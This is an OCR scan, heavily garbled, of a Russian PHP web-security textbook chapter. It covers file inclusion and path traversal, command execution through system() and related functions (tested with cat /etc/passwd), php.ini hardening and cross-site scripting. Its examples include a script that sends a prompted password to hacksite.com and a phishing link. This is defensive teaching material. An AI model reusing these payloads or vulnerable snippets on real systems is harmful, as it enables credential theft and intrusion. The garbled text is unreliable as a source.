http://m,sltmme.dominﬁndexmhp?ﬁlﬁhttp://haeker_site/hack
Temeps Baur cueHapwili BRIMOAHWT conepxumoe daiina hitp://hacker_site/

hack.news.php, ecin daiin nomuouaeTcs ¢ NMOMOULEI0 (PYHKUMH include () MM
require (). BTO ONACHO.

Xora 3amuTy ¢ NpOrpaMMHbIM gobasreHneM paciuMpenus Moxuo oboiiTn, psa
MPOCTLIX MPOBEPOK M 3ALLUT CieNaeT Ball joM KpemoeTslo. Ecin nomMumo npo-
rpaMMHoro jfobasienus pacluHpeHus CHEeNaTh NMPOBEPKY Ha CUMBOJN /, TO XaKep
YK€ HEe CMOXET MMPOBECTH TaKylo ataky. B kauecTse mononHeHus K salure Heod-
XOIMMO MporpaMMHO n00aBisiTe M HAYaIo MyTH, a4 BCe NOAKMoYaeMbIe (ailyibl
CIOKHUTH B OuH Karasor. Hanpumep, nomnovaemsie daitisl aexar Ha ceppepe
B Kartajore /var/www/html/inc u umeior pacumpenue dat. B srom cayuae gop-
MupoBaHue daitia JOEKHO BBINISAETh TaK:

" Jvar/www/html/inc/$file.dat"

3nech MOHPA3yMEBAeTCA, UTO MEepeMeHHan $£ile COREPNKHT UMSA MOMKITIOYAEMOTO
daitna Ges pacmupenusi. Ho u tyr ectb ogna toHKocrs. [onycrum, 4To xakepy
yaasoch KakuMm-iubo obpasom 3arpysuth cBoif (alin cuenapus Ha cepsep noa
umesreM hackfile, Hanpumep, B obluenoctynusiil Karamor /tmp. Yrobst noakmo-
4UTh 3TOT Qait, Xakepy foctarodHo fate emy pacuimpeHue dat (hackfile.dat) n
B KayecTBe mapaMerpa $file mnepenats nyrs ../../..[.[./tmp/hackfile. Mopans —
HUKOraa He 3aberBaiite QUALTPOBATL MapameTpsl, HCMoibiyeMbie NpH (HopMUPO-
BaHMM UMeHH ¢aitia, HA NOCASNOBATEIBHOCTD CUMBOJIOB ", . /",

Kak mHoro HioaHcos npa pabore ¢ daitnamu, neyxenu cosparenn PHP ne mor-
M TIpeaycMoTpeTs XoTs Obl nmonosuHy W3 3THX npobiem? Pabora ¢ daiinosoit
CHCTEMOIT BCerjia oracHa, u npefrycMoTpeTh BCe HEBOZMOKHO, MOITOMY NMPHUXO-
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JMTCA BLIGMPATh MEXAY Mowsio W GesonacHoerblo. PaspaGoruuku PHP npenoc-
TABWIK HaM MOIlbL # mﬁxoc‘rh, a4 Ml JOIDKHBL npasnMo BOCITONIb30OBATHCSH ITU-
MH BO3MOXHOCTSMHU,

M Bee ke, HecMOTPA HAa BO3MOXHOCTH 3AIIWTHTECA OT YKA3aHWs 3alpellueHHSIX
daitnos, 5 peKOMEHAYIO HHKOIIA He nepemasars uMena daiinos B Buae napamer-
poB, Tem Gojee sampocamu GET. Yepe3 napameTpbl HEib3sl MEpeaaBaTh HHYErO,
yro ceasaHo ¢ Qaiinosoit cucremoit, dairamu u, Tem Gonee, ¢ mporpamMMmamy.
S nymalo, 9TO 3TY MBICJIb MOXHO BbIONTb HR MOHHTOPE WM HAnMcaTh Ha FUlaka-
Te Ha creHe. Her, 5Ta pexoMeHIAUMsl He cBsizaHa ¢ Ge30MacHoCTLIO, Belb 3alliu-
THThes MoxHo. [IpoGiema B Tom, 4TO Takoit kon GyAET YXKAcCeH ¢ TOYKH 3PEHHA
yTeHusi ¥ conpoBoxneHus. Ecim sam npusercs maciitabuposath BO3MOXHOCTH
cueHapus (T, €. BBOAUTH HOBbIE BO3MOXHOCTH), TO Bbl OYEHb CHIILHO HaMydae-
Tech, ¥ BaM MPHAETCS MEpenucaTh He OiHY CTPOUKY KoJa,

3.4.2. PekomeHpauumu no 3alure

B 3Tom pasmene s mocrapaics coOparh OCHOBHBIS PEKOMEHIAUMM, CAEAYS KO-
TOPBIM Bbl CMOXETE [MOBBICHTh GE30MACHOCTh CBOMX MPOrpaMM M 3alUMTHTLECA
oT GosblMHCTBA HAYMHAIOWMX XakepoB. OBesonacuTs cebs abecomoTHLIM 0bpa-
30M BaM HE YNACTCHA HUKOrAa, notomy 4ro MurepHeT passuBactes, NOABBHIOTES
HOBBbIE TexHONOTHN OTOGpaXeHnst HHMOPMALINA W HOBBIE METO/IbI BITOMA, AN
3AIUTEL OT KOTOPBIX MOXET MOHANOOMThCS BHeceHME M3MeHeHW B daitis
CleHapues.

Ecnn eI Mcrnonbayete B cBoMX clieHapuax obparienus x daitnosoli cucreme, ro
yKasbiBafite MyTh OTHOCHTENBHO KOpHS (ailiopoif cHCTEMBI MM OTHOCUTENBHO
TEeKylelt nanku, HO NPH 5TOM HeNb3s NOAHMMATLCH HA YpoBHM Benue. Hanpu-
Mep, ecl¥ BHIMONHASMBEIN cueHapuit Haxomutes B nanke /var/www/html/admin,
a Hano oGparutses K daitny index.php u3 nanku /var/www/html/, nensas nucars
OTHOCHTENBHBHE MyTh Kak ../index.php. Mcnonbiopanue mocKenoBaTebHOCTEH
../ WK ./ AOMKHO BHITH 3anpeieHo Besne U BCeraa.

B pazdeae 3.5 mu1 noapobHo obcyauM, KaK HYXKHO TTPOBEPATH KOPPEKTHOCTh BRO-
HNMMBIX MOJIB30BATENEM AAHHBIX, HO BBl JOMKHBI TOMHMTE, YTO OFNACHLI HE TO/b-
KO MONb3OBATENH, HO M NPOrpaMMHCTBL. APKUM OPUMEPOM SBIAETCS BO3MOX-
HOCTb YKa3aHusi OTHOCHTENbHBIX HMEH, O KOTOPOH MBI FOBOPHMJIM B MPEALIAYLLEM
absaue.

Cxondurypupyiite uarepnperarop PHP 1ax, urofnl OH MOT BBIMONHATH TONBKO
Heobxoaumble BaM GQyHkuuu. Hanpumep, ecin Bbl He HCronbsyere (HyHKuuo
system(), TO €€ CAGHyeT 3anperuTh: B 3TOM ciyyae, naxe ecniu Xakepy ymactes
32KAYATH HA Ball cepBep cobCTREHHLIN CUEHAPWi, OH HE CMOXET BOCTIONB30BATE=
cs 3TO onacHofl (hyHKIMEII.

C dynxumeli system() BooOGuie HYKHO oBaThecsl aKKyparHO, MOTOMY 4TO OHa
MO3BOMSIET BBITIONHSTE B CHCTEME KOMAaHHIy, YKa3aHHYI0 B Ka4yecTBe MapameTpa.



BeaonacHocts _ 135

Coapanum cieHapuit, B KOTopoM ectb hopMa s mna KOMAHJILI, 1 yKasaHHas
KOMaHIa nepexaercs pyHKUHKA system() ! :
<form action="syst.php" method="get">
Command: <input name="sub_com">
<BR><input type="submit" value="Run">
</ form>

<PRE>

<7php
print ("<B>$sub_com</B>") ;
system($sub_com) ;

7>

</PRE>

YKaxuTe B rone BBoaa Kakyw-Hubyms komanay sammefi OC. Ecan samr Web-cepsep
paboraer noa ynpasnenneM OC Linux, To Ui TeCTHPOBAHMS MOXHO BBECTH:
cat /ete/passwd

B peaynsrare Ha sxpaue nosisATes aiin, conepxaumﬁ CIIHCOK TMOJIb30BaTENEi
cucrembl. MoXHO ykasath JoGyio Apyryio KoMauiy, ¥ oHa Oyaer BBINIOIHATHCS
C TEMH [TpaBaMU, KOTOPBIE [PEAOCTABICHE Web-cepp;cpy Ecnu npas y cepsepa
JIOCTATOYHO, TO KomaHna Gyner seinonHena. [ToHaTHOE 610, YTO TAKOro Jomnyc-
TATE Henb3sd. S Boobiie He pPEeKOMEHIYI0 MCMOoBL3oBaTE (hyHKUHIO system(),
1 nyuie Gyner ee sanperuTs, MiuTe Apyrie BaApHAHTEl peLIeHIs CBOMX 3anad.

Ewe onHa onmacHas GyHKuMs — exec (). OHa TakKe BHINOJHAST KOMaHIy, HO HE
BBIBOAMT HUYETO HA DKPaH, a TONBKO BO3BPALLAET B KA4ecTBe pesynbrara rnociel-
HIOIO CTPOKY BBITIOMHEHHs! KOMAHIbL. DTO 3HAYUT, YTO eCay 3arnpocuTs dain na-
poneid, To peayabrarom Oyaer sanuck ¢ HHbOpMaHeil 0 MocaeaHeM Noab3oBaTe-
nie, 3aperucTpupoBaHHOM B cucteme. Creaylowmil npuMep NOKAasbIBAET, Kak
oTo6pasuTh Ha CTPaHMLE Pe3y/bTAT BEINOIHEHUs DYHKIUM:

print (system{$sub.com) ) ;
®ynKuis passthru (), TaK Xe KAK U systen (), BHITONHSET YKASAHHYIO KOMAHIL

W BBIBOAMT HA SKpAM pe3ynbTar. PasHMi@a 3aKMiONAeTesi B TOM, YTO passthrul()
ymeeT paboTaTs U ¢ ABOMMHBIMH AAHHBIMA.

Eume ogHa QyHKuHs, KOTOpas MOXET BBINOXHATE KOMAaHIBI B CHCTEME, —
shell_exec(). OHa BBUTO/HAET KOMAHAY W BO3BPAUIACT PE3YIILTAT:

print (shell exec($sub_com) ) ;
Boinasate KoMawasl MoxHo H Gea Kakn:x-nuﬁo tbyl-ﬁmnﬂ Jis sTOoro KomaHma

JomkHa 6biTh 3akmoyveHa B obpaTHsle anoctpodsl (). Bro He oxMHapHas Ka-
BhIYKA, & MMEHHO obpaTHklil amocTpod); Ha KIABMATYPE OH HAXONUTCH HA KHOMKE
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nesee undpsl 1. Creayommil npuMep BLINOAHACT B cHcTeMe KomaHny Is —al
BBIBOANT PE3YJILTAT HA IKPAH:

print(*1ls - al*);
O ToM, Kak aanpeiiars hyHKUNW, Mbi TIOTOBOPHM B pazdese 3.4.3.

3.4.3. TionuwHr PHP

B naxuoM pasgese HaAM MPeACTOUT PACCMOTPETh KOH(MUTYPALHOHHbLIE NAapaMerpht
PHP, koropsie Moryr noBeicHTh Ge3orniacHocTh cepBepa M BalmX cieHapues. -
PEKTUBE], KOTOpHIE MBI ByeM paccMaTpuBaTh B HAHHON rnase, orHocaTes K (aii-
ay koxgurypawmn php.ini, koropsiif 8 OC Linux MoxHo HaiiTH B Katanore /etc.

3awnieHHbl peXxum

Camasi rnasHast JMpPeKTHBA, KOTOPYIO CAEIYeT paccMOTpeTh, — safe_mode (10
YMOMYaHUIO 3HAYEHHE AMPCKTUBLL PaBHo off). Oua nepesomutr PHP B 3ammu-
IUEHHBIN PeXNM, MPH KOTOPOM BCE MOTEHLMATLHO ONdCHbIE onepaltin u (yHk-
umn sanpewiedsl. Korma sl HaumHaere paspabaTeBaTh CUEHApPWil, XeJaTeibHO
BKJIIOUMTB 2Ty onuuio. Ecan Bl croikiyauch ¢ curyanmei, Koraa Heobxoammasn
BO3MOXHOCTb MHTEprpéTaropa He paboTaeT, To MOXHO OTKIIOYHTH AMPEKTUBY
safe_mode, HO MPH ITOM CiHEIHyeT ﬁmtﬁme BHUMAHMS YIENSITh Ge30MacHOCTH |
(yHKIMSIM, KOTOpPBIE HE CMOITTH pﬁﬁﬂl‘ﬂ’fk B 3AUIMILEHHOM PEXHME.

Ecnu pawt cuemapuit paGoraer B 3alIMIEHHOM PEXUME, TO 9TO 3HAYMT, YTO HM-
YETO ONMACHOrO B HEM HE MCNONb3yeTes, U BepOATHOCTH OGHAPYKEHUS YIZBUMO-
CTH yMeHbILIaeTes yoke cama no cebe, iaKe eciii peXXHM safe_mode HE BKIIOYEH.

lMpu pabore B 3AUHUIEHHOM PEXHME PACCMOTPHTE CGHYIOUIME AMPEKTUBEI, KO-
TOPbIE MOTYT TOHU3HTE Ge30MacHOCTh, 083 OTKITIONEHUS TUPEKTHBLI safe_mode:

0 safe_mode_gid — AHPEKTHBA 3aNACT WICHTUPHKATOP BAANENbIA WIH TPYIIITE
sranensiues aitna, Koropsiil HOMKEH COOTBETCTBOBATH WHEHTHhMKATOPY
noab3oBarensi (Mau Tpynsl), oTKpbiBiiero ¢aiin. Ecnu Boriouena aupekTHsa
safe_mode, 4 safe_mode_gid HE BKIIOYEHA, TO MPaBHiIA AOCTYNA CTAHOBATCHA
Gonee kecTkuMH — aitn MoxeT OBITh OTKDHIT, TONLKO ecAW MAEHTH(HKATOP
BAanenbiia (paina copnanaer ¢ uaeHTH(UKaTopoM noabzosarens. Maentndm-
Karopbl Ipyrnmnsl shanensues daiina 1 mons3oBaTelis B 9TOM Clyyae He [pose-
psaoTed Ha coorTBercTBUe. EC/HH AUPEKTHBBHI safe_mode M safe_mode_gid OT-
KIIIOYeHbl, TO HUKaKoll nposepku He npoucxonut. Maitn Gyaer OTKpLIT, eciu
Yy MONB30BATENs JOCTATOYHO MPas;

(] safe_mode_exec_dir — IMPEKTHBA 3AIdeT KATAIOTH, COAEPXAlLIWEe TIPOrpaM-
MBI, KOTOpBEIE MOTYT ObiTh BHINONHEHEl B cucreme. TONBKO NporpaMMbl M3
ITHX KATATOTOB WM MOJKATANTOrOB MOXHO Nepeaasath Taknm PYyHKUMAM, Kak
system(), exec() B T. L]
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O safe_mode_ allowed_ env_vars — IMPEKTHBA CONCPXHT CHHCOK TIPEHKCOB
nepeMeHHbIX OKpYXeHHs, KoTopble MOTYT uaMeHsaTses. TTo ymonuanuio usme-
HEHWIO TIOMIEKAT TONBKO MepeMEeHHLIE OKPYKEHUS, HMEHA KOTOPKIX HAYWHA-
10Tes ¢ npedwkea PEP_. ECau AMPeKTHBY OCTABMTH MYCTOI, TOo MOXHO Gyaer
H3MEHSTH BCe fepeMeHHbIe;

O safe_mode.protected_env_vars — [MPEKTHBA COREPIKNT CIMCOK nipedukcon
MMEH MEePeMEHHBIX OKPYXKEeHHS, KOTOphie SBHO 3anpelieHbl K H3MEHeHHIO
B JAUIMIIEHHOM pexcMe. T10 yMOTHAHMIO AMPEKTHBA PABHA LD_LTBRARY_PATH.
Ecan Bbl paspeluuiv H3MEHeHWe BCeX MEpPeMEHHEIX, HO JMPEKTHBA paBHa
PHE_, TO BCE [TePEMEHHBIE OKPYXEHUA ¢ TIpeUKCOM PHP_ GYIYT HeAOCTYNHEL
IS PElaKTHPOBAHMS.

3anpersl

C nOMOIIBIO NMPEKTHBLI disable functions MOXHO 3anpeTHTh BLINONHEHME
ONpeReNeHHBIX QyHKIMIT. 5| HACTOATENLHO PEKOMEHIAYIO 3anpeTTh (YHKIMH
BhinoiHeHuss komamn OC (system(), exec(), passthru(), shell_exec(),
popen () ), KOTOphIE BBl HE HCMOJbIyeTe.

PHP-cuenapuu mossomsiior oTKphiBaTh haitibl HA yAaleHHoM KoMIbloTepe (4e-
pe3 FTP- wan HTTP-coenunenne). Ecau nupextusa allow_url_open BKIIOYEHA
(on), 9Ta BO3MOXHOCThH AOCTYITHA. Eciu Bl He MCMONL3YETe yAAICHHbIE KOMITbIO-
TEephl, TO CHEAyeT YCTAHOBUTH AMPEKTHBE allow_url_open 3HaueHne off. beszo-
MACHOCTH CEpBepy M CLEHAPUSM 370 He MpuGABUT, HO, MO KpaiiHeid mepe, C10XK-
tiee OYAET MCMO/B3OBATh BAll CEPBEP B KAYecTse 30M6u. MHbIMK clioBamu, naxe
BCJIM XaKep B3NOMAeT Balll CEpBep, OH HE CMOXET BBINOJNHATH ONpPEAcNEHHBIE
ClIEHApUN IS NMPOBEJeHUsA aTaK HA APYTHE CepBepal.

Koneuro, 3aumuTa ¢ mOMoIUE0 allow_url_open MMOBQJ(])EKTHBH&, TIoTOMY 4TO
€eC/IM Balll CEpBEP BINOMAH, TO XaKEpP CMOXET nonnpanm ITOT napaMmeTp Wik
HalTH npymﬁ crocob npoBeeHNs aTakHu.

Pabora ¢ cbaﬁnmn Bcerna onacHa. Ecim B BauleM CHEHAPHH MCMONB3YETCS
GbyHKuMs fopen() M XaKep CMOr nepenath eif gaiin /etc/passwd, TO crucok
noTb30BaTeNel CHcTeMbl cTaHOBUTCs obluenocTymibiM. YTo6k obesonacnTs cebs
or Takoit omubku, B KoHpuUrypauuoHsom daitie php.ini B AUpexTHBeE
open_basedir HYXHO NepeYyMc/IUTh Yepes NBOeTOYME Pas3pelleHHbIe Ui OTKphI-
THA ITYTH,

3.5. MNpoBepka KOPPEKTHOCTU AaHHbIX

Tze W Korna HyXHO NPOW3BOIMTL MTPOBEPKY KOPpeKTHoeTH nanubix? Ha oba Bo-
nmpoca MOXHO OTBETUTH OAHHAKOBO!

0 8 HTML-dopme Ha arane BBoja ¢ nomouubio JavaScript;

0 B cueHapHu, KOTOPHEIA NPUHMUMAET AaHHBE ¢ noMolusio PHP.
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PaccMoTpuM Kaxbiit M3 BapuaHtoB Gonee noApobHo, HTOOLL YBUIETH MX npe-

MMYILECTBa W HEAOCTATKH.

Cuerapun JavaScript BEITOTHAIOTCS Ha KOMIIBIOTEPE KIMEHTA, YTO ONpeiensier u

npeuMylecTsa, u Hepocratkd. K npenmyniectsaM oTHOCHTCS:

O skoHomust Tpaduka — aaHHbE U3 QOPMBI He HYXHO OTNPABIATH HA CepBep,
4TO0BI OHM MPOUUIK NMPOBEPKY HA xoppemocn Iposepka npoucxomur KHa
CaMOM KIHEHTE;

O 3KOHOMHS BPEMEHH — MpoBepKa npcmcxom cpasy Xe, 10 OTMPABKH AAHHEIX
Ha cepaep;

O 3KOHOMMA PECYpCcOB CepBEpa — MPOBEPKON 3AHAT KIMEHTCKHIl KOMIblOTEp,
a He cepBep.

HepocratkoB asa, HO ONMH M3 HUX OYEHb CYINECTBEHHBIH. Bo-nepBhIx, BOIMOMN-

Hoctu JavaScript HamHOro Hike ssbika PHP. Bo-BTOpBIX, MOCKO/bKY NMpOBepKa

MPOMCXONUT HA CTOPOHE KNKEHTA, XAKEP MOXKET OTKMOYUTH ee, [lig aroro Kocra-

TOYHO:

1. CoxpaHKTh KO CTPaHHUEI HA JTOKUIGHOM IUCKE XaKepa,

2. VY6pars JavaScript-kon

3. Ecau HeoOxoAwMoO, TNOAKOPPEKTHPOBaTH (opMmy OTHpaBKM maHHbBIX. Ecim
B CBOMCTBE action YKa3aHO TOJMBKO WMA (aila MITH OTHOCHTENLHBIN MyTh,
TO HeoGXOMMMO U3MEHUTH 3TO cBolteTBO Ha monHstt URL k daitny cuenapus.

TMocne 3roro Gaitii MOXHO 3arpy3HTh € JOKATBHOIO TUCKA W BBITIONHHTE, MUHYA

BCE [TPOBEPKH. DTO U €CTh camblil GOMBLIOH U CYUIECTBEHHBIA HEAOCTATOK, ¢ KO-

TOPBIM HEBO3MOXKHO 6OPOTHES.

PHP-koa npuuMnuaisHo oTimyaercst or cuenapues JavaScript u oGnanaer cie-
OYIOUIUMH CBOMCTBAMM:

O xaxiaslit pas s OpoBepKH AaHHBIX NMPOMCXOXMT MEpeaavya MX Ha cepsep W
nepesarpyska Beeif crpaHuubl (Hiu dppm €CIIM OHAa Peaju3oBaHa B OTACb-
HOM ¢hpeitme);

O pesyiabraT NosiBASETCs ¢ 3aAepXKoif, noToMy ¥To HeoGXOAMMO BpEMsI Ha Tie-
pellayy AaHHBIX Ha cepeep, 06paboTKy # BO3Bpar pesynsraTa;

0O Jurs KaXIoi MIPOBEPKH PAcXOAYIOTCH pPecypesl ceppepa;

O monb3oBatelb HE MOKET YBHAETh KOJ MPOBEpOK M, TeM Dosee, MOBIHATD HA MX
Xon;

O BoamoxHocru npoBepok PHP J0CTaTOMHO BEMMKH, M TPYIAHO NPEACTABUTH
cebe 3anavy, KOTOpYIO HeBO3MOXHO Guuto Gl peannsosars Ha PHP.

INepBbie Tpn NMyHKTA MOXKHO OTHECTH K HENOCTATKAM, HO 3TO MENIOYH XHU3HH [0

CPaBHEHHIO ¢ ABYMA MOCHEIHUMH MYHKTaMM, TIe YKa3aHbl MPeMMYyIIecTsa.

Yrobbl 1obHTHCH HAMIYMILEro pesyakTara B cOGCTBEHHOM NMpoekTe, Heobxomumo

co3nate rubpHi, KOTOpbi obwenuHuT B cebe Bee Jyyuiee or oboux crocobos.
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Sl pexoMeHIyl0 TNPOBONWTE HeoOXoAMMBIE U BO3MOXHbBIE (KOTOpbIE MO3BONUT
JavaScript) npoBepku Ha CTOpOHEe KJIWMeHTa, 4YTOObI IKOHOMUTH TpahuK W BOC-
MOJNb30BATbCSl MpenMyluecrsamMu JavaScript. Ho npu stom HeoGxommmo Te Xe
npoBepku BhiMonHATs W Ha PHP, Ha cropone cepsepa. Takum obpasom, ofHM M
T¢ Xe JaHHble Gyayr NpoBepATHCA ABAKILI — HA KiMeHTe W HA cepsepe. Ecmm
xakep cMoxer oboiiti 3aumty JavaScript, T0 ero gaHHBIE HE NPOMAYT NMPOBEPKH
Ha cepBepe, W BCe 3aTpaThl HA KOPPEKTHPOBAHHE MCXOAHOTO KOfla CTPaHHIIB!
OKaXYTCs HAMPACHBIMH,

EquHCTBEHHBIN HENOCTAaTOK TAKOrO METO[a — CHOXKHOCTh conpoBoXaeHms. Ecau
HYXKHO BHECTH M3MEHEHMs! B MPABUJIA, 10 KOTOPBIM OMNPENe/seTcs KOPPEKTHOCTh
NaHHBIX, TO npuxomuTest MaMensts JavaScript- u PHP-cuernapuu, 4to rnosnever
aMInHWe pacxoasl. ECAM 9TO U BAC HENMPMEMIIEMO, MOXETE OTKA3arhes OT
JavaScript ¥ npoBepoK Ha CTOPOHE KJIMEHTa (MM CAEMATh MX MAKCUMAIBHO Mpo-
CThIMM) M YIENWTE OCHOBHOE BHHUMAHHWE 3allMTE HA CTOPOHE CepBepa.

Wcnonp3osanne JavaScript BHIXOAUT 32 PaMKW JAHHOM KHWIH, MO3TOMY HOTOBO-
pPHUM O mpoBepkax ¢ nomousio PHP,
JlonycTum, 4To y Hac ecTb (OpMA, Ile MONL30BATENb BBOIUT NAHHEIE, KOTOpLIE
no/kHBl oTobpaxarsest HAa dopme. Takue noas oYeHb YacTo GBIBAIOT B FOCTEBbIX
kHurax, Gopymax win varax. Ilpeanonoxum, Mbl HE BBIMONHAEM HHUKAKUX MpPo-
BEPOK, & MPOCTO BHIBOAMM Ha CTPAHULY CTPOKY, BBEIEHHYIO nonbiopareieM. Ha-
npuUMep, cosnaiite daitn cueHapus submitl.php co creayiomum conepXuMBIM:
<form action="submitl,php" method="get">

s nons3osaTens: <input name="UserName">

<input type="hidden" name="Password" value="qwerty">

<input type="submit" name="sub" value="Go">
</ form> ‘

<?php
print ("SppascreyiTe $UserName");
>

Ha skpane Gyaer orobpaxexa dopma Uit BBOIA UMEHH MONb3oBaTess, KoTopoe
nepemaerca aromy xe dairy cueHapus. [Monyuns UMH, nporpaMma MPOCTO Bbi-
BOJIMT €10 HAa 3KpaH. A Telepb MPEJCTABUM, UTO M0JIb30BATE/b BBEJI BMECTO MME-
HY Teker "<B>Text<B>". Ha skpane Gyner orobpaxeHo MpUBETCTBHE, & BMECTO
uMeHH GyneT BbIBENCHO XUPHBIM wipudToM coso “Text”, Takum obpasom, mepe-
nasas HTML-tern win, eue xyxe, koMasas: JavaScript, XaKep MOXET, KaK Mu-
HUMYM, MCTIOPTUTH BHEIIHKI BIA cafita Wik A2Ke AOWTH A0 BuTOME.

s saumater ot nepenay HTML-teros noctartodHo Mcnosnn3osath (yHKUMIO
htmlspecialchars(). Eif HYXHO nepesars cTpoKy, & Ha BeIXOfe NONy4aeTcs Ta
Xe CTPOKA, B KOTOPOH CHMBOJIBI < M > 3aMEHeHbl HA NOC/IENoBaTeNEHOCTH &1t ;
W &gt; coorsercreeHHo. B pesyabrare Teker "<B>Text<B>" na crpanuue 6yuer
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BeiBeneH Kak "<B>Text<B>", a ve coobueHne "Text" xupHbim wpudrom. Utak,
KOJlL BbIBOZIA MOJIL30BATENBCKHX NAHHLIX MOXKET BHIMISIIETH CIIEAYOWHM 0bpasom:
Sout=htmlspecialchars (SUserName) ;

print("Sout®) ;

YenoxuuM 3aaavy — nonpobGyem yaanuTh U3 coobuienus Ter <seript>. B ognom
H3 IBHXKOB HeNpoheccHOHANBHOIO CaiiTa i 3aMeTHII NPOBEPKY, KOTOpas HeKasa
TEKCT <Script> M 3aMeHs1a ero mycToi crpokoii. Bpone 661 Hukakoit ommbis,
HO 4TO €C/IM XaKep IepelacT CUEHAPWIO Ter B Buie < Script >? Droro npe-
BEpKa YX€ HE 3aMETHT, 4, 3HAYMT, XaKep CMOXeT BHEAPHTb B CLEHApHii CBON
Kol MOXHO NONBITAThCH cHavala ybparh sce npoGeibl, HO M B 3TOM ciyuae
MPOBEPKY Jlerko oBoiTH, nepeas B KA4ecTse napaMerpa CTPoKy:

<SCRIPT LANGURGE="JScript"> Kom </SCRIPT>

Haxe camblif cTporuii mabioH MoXHO 0BOATH, a MPOCTYI0 3aMeHy BCEX CHMEO-
JIOB < Ha MOCJE0BATENbLHOCTD &1t; M CUMBONOB < HA MOCAENOBATEILHOCTh &gt ;
060ifTH HEBO3ZMOXHO!

Hecmotps Ha 710, uro cuenapuu JavaScript BHIMONHAIOTCS HA CTOpOHE KAWEHTa,
OHM MoryT GBITH OYeHb onacHBIMH M wist cepsepa. Kak? Pacemorpum mpumep.
HonycTiM, 4TO Yy BaC €CTh caiiT, Ha KOTOPOM [OIL30OBATENN PErHCTPHPYIOTCH,
YT0GBI MOMYYUTH AOCTYI K ONpefeNeHHbIM BoamoxHoeTAM. Hanpumep, Ha dopy-
Me perucTpanus Tpedyercsi, yTo6bl OCTABIATE CBOM COODIUEHMS, 4 HA MMOYTOBOM
cepBepe — U JOCTYNA K 3NeKTPOHHOMY TOYTOBOMY sMKy u3 Gpaysepa. [lpen-
MMOJIOXKHM, YTO Xakep Moxer Bcrpouth B Web-crpanuny JavaScript-kon. dobas-
nsieM crelylolnil Kox:
<SCRIPT>
var pass=prompt ('Mosropuc meegwrTe Bam nmapoms', "');
location.href="http://hacksite.com/pass.php?pass="+password;
</SCRIPT>

Hanueni kon oroGpaxaer Ha sKkpaHe coobleHue ¢ MpockGoif BBECTH MApONb,
4 3aTeM BBEICHHbBIC NAHHBIE Hanpamsorcs cueHapuio http://hacksite.com/pass.php.
Takum crocoGoM xakep cMmoxker cobpark maponu JOBEPUMBBIX Mojib3oBateneil u
MCIONB30BaTh UX JUIsl Aa/IbHEMILIEro B3jIOMa cepaepa.

Ho ne Tonpko akTWBHBIA kKo (Java, JavaScript i T. 1) mMoxeT GbiTh ONMacHbiM,
JlomycTuM, 9To Xakep cmor BetpouTh B Web-ctpanuity Ter <a> (cosmaHue ccbui-
k). B atom ciryuae MOXHO 100aBUTH HA CTPAHULLY CCBUIKY:

<A HREF="http://hacksite.com/register.php"> Perucrpauysa <A>

B naHHOM ciyyae cchuika nepebpackiBaeT Hac Ha CUeHapwuil, register.php Ha cep-
sepe hacksite.com. Xakep moxeT 0()OPMHTE CTPaHMILY ITOTO CLEHAPHA B TOM XKe
Iu3aiiHe, 4TO W BanaMbiBaeMblii cepsep. Takum obGpasoM, fepeiifin No ccbuike,
[OBEPUMBEIA MOABLIOBATENbL HUUETO HE 3AMONO3PUT M BBemeT B dopmy BCe 3anpo-
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HIeHHbIE JIAHHBIE, HAaNMpUMep, HHOOPMALINID 0 KpeauTHoil Kapre. BonblmHeTBo M3
Hac He emotput B ctpoky URL npu nepexosie no ccuuikam ¥ He 3aMeTHT MOABOX.

BapHaHTOB UCTIONB3OBAHNS BCTPAMBAEMBIX CCHUIOK OYEHb MHOTO, U ITepeYHCINThE
HX BCE HEBO3MOXHO, [a W KHWIA 3Ta COBCEM O APYroM. Y XakepoB AOCTATOMHO
pasBuTOE BOOOpMKEHHE, M OHN HAMIYT cnocol BHIMAHWTL HeOBXomMMYI0 HHDOpP-
MALMIO, @ ectH caiiT GonbIIoH, TO AAMHUHUCTPATOPL! HE Cpasy 3aMeTsT :roxcHylo
CChUTKY.

CosniaHue TOMHOW KOMMM CAifTa XEepTshl HA XAKEPCKOM cepBepe — BOMHE -
dexTHBIH MeTon Banoma. [OCTATOYHO PA3OCHATH MOAL3OBATENAM COODIIEHMS
C HOBOCTHIO 00 ODHOBIEHWM COUEPKUMOIQ M npwmacm:. HX MOCMOTPETh Ha
caiT, 1aB CCHUIKY HA XaKepeKylO0 KOruio, u BOJIBIIOE KOJIMYECTBO NOIb3OBATENEl
noBEpHUT. Xakepsl YMEIOT YOeXKIaTh, N Pe3ynbTAT 3aBUCUT OT UX ONbITA U CNocob-
HoeTel, a AIMUHHUCTPATOPAM TPUXOIMTCS TONBKO HabmonaTh, MOTOMY 4TO TYT
yXke 3AUATHTECS HeBO3MOXHO, CueHapuy HAXONATCS HA APYrMX cepBepax U He-
nofgBnacTHel MM. Bamia sanawa — cpenars Tak, 4Todbl Xakep He cMmor BCTPOHTh
CCHLUIKY Ha cBOM cueHapuil ¢ Ballero caiira.

Bonee MOUIHBIM H WHTEIEKTYANBHBIM CPEJICTBOM 3AMEHBI SRISIOTCSH PeryIspHbie
BhIpaXeHus, Ko'ropue Mbi GylIeM paccmarpusarh B pasoete 3.6.

Tpu cosnarin peam.umx MPHAOKEHNIT # cTAapaloch HE 3aMEHSTH onacrme CHUM-
BOJIbI, KOTOPBIE MOTYT YKA3hIBATh HA HaIMYMe YS3BUMOTO Kona, a 3ANPeNIaTh UX.
Yro 310 3Hatmr"’ ‘Ecan B cTpOKe, KOTOPYIO Iepea TOJI30BATE b, 5 HALIE] CHM-
OBl "MeHble" (<), "Gonbiue” (), ABoeroune (:), MpoUEHT (%), o&pa'ruuﬂ CHaL
(\) wau craut (/), To cueHapuil BbLIaeT coobIEHHE O HEAONYCTUMOCTH CHMBOJA
W MpepLIBAET BEIHTONHEHHE.

OueHb peiKo MOXHO BCTPETHTL CaifT, HA KoTOpoM OblIO Obl TONBEKO OMHO roJje
BBOJIA JUIA OfHOrO MapameTpa. Besne u Bcerna NMCaTh OIMH M TOT X€ KOA Mpo-
BEpKM NaHHBIX Heyno6HO U HeahdEKTHBHO, M0ITOMY CIELyeT ONUH Pa3 HAMHCATH
[IPOBEPOYHYI0 (DYHKIMIO W BBI3BIBAThL €€ /Ui BCEX NPHHHMAEMBIX NapamMeTpos,
Touree cKas3arh, B peaTbHBIX YCAOBUAX NMpHIETCS HAMMUCATH HECKONBKO DyHKIMIA,
KOTOpbIE MOTYT OBITH pasfae/eHsl Mo YPOBHAM KpuTHUHOCTH. Hanpumep:

1. Tlepsriit yposens — camblit xecTkuit. Ha HeM 3anpeuieHsl BCe onacHble cUM-
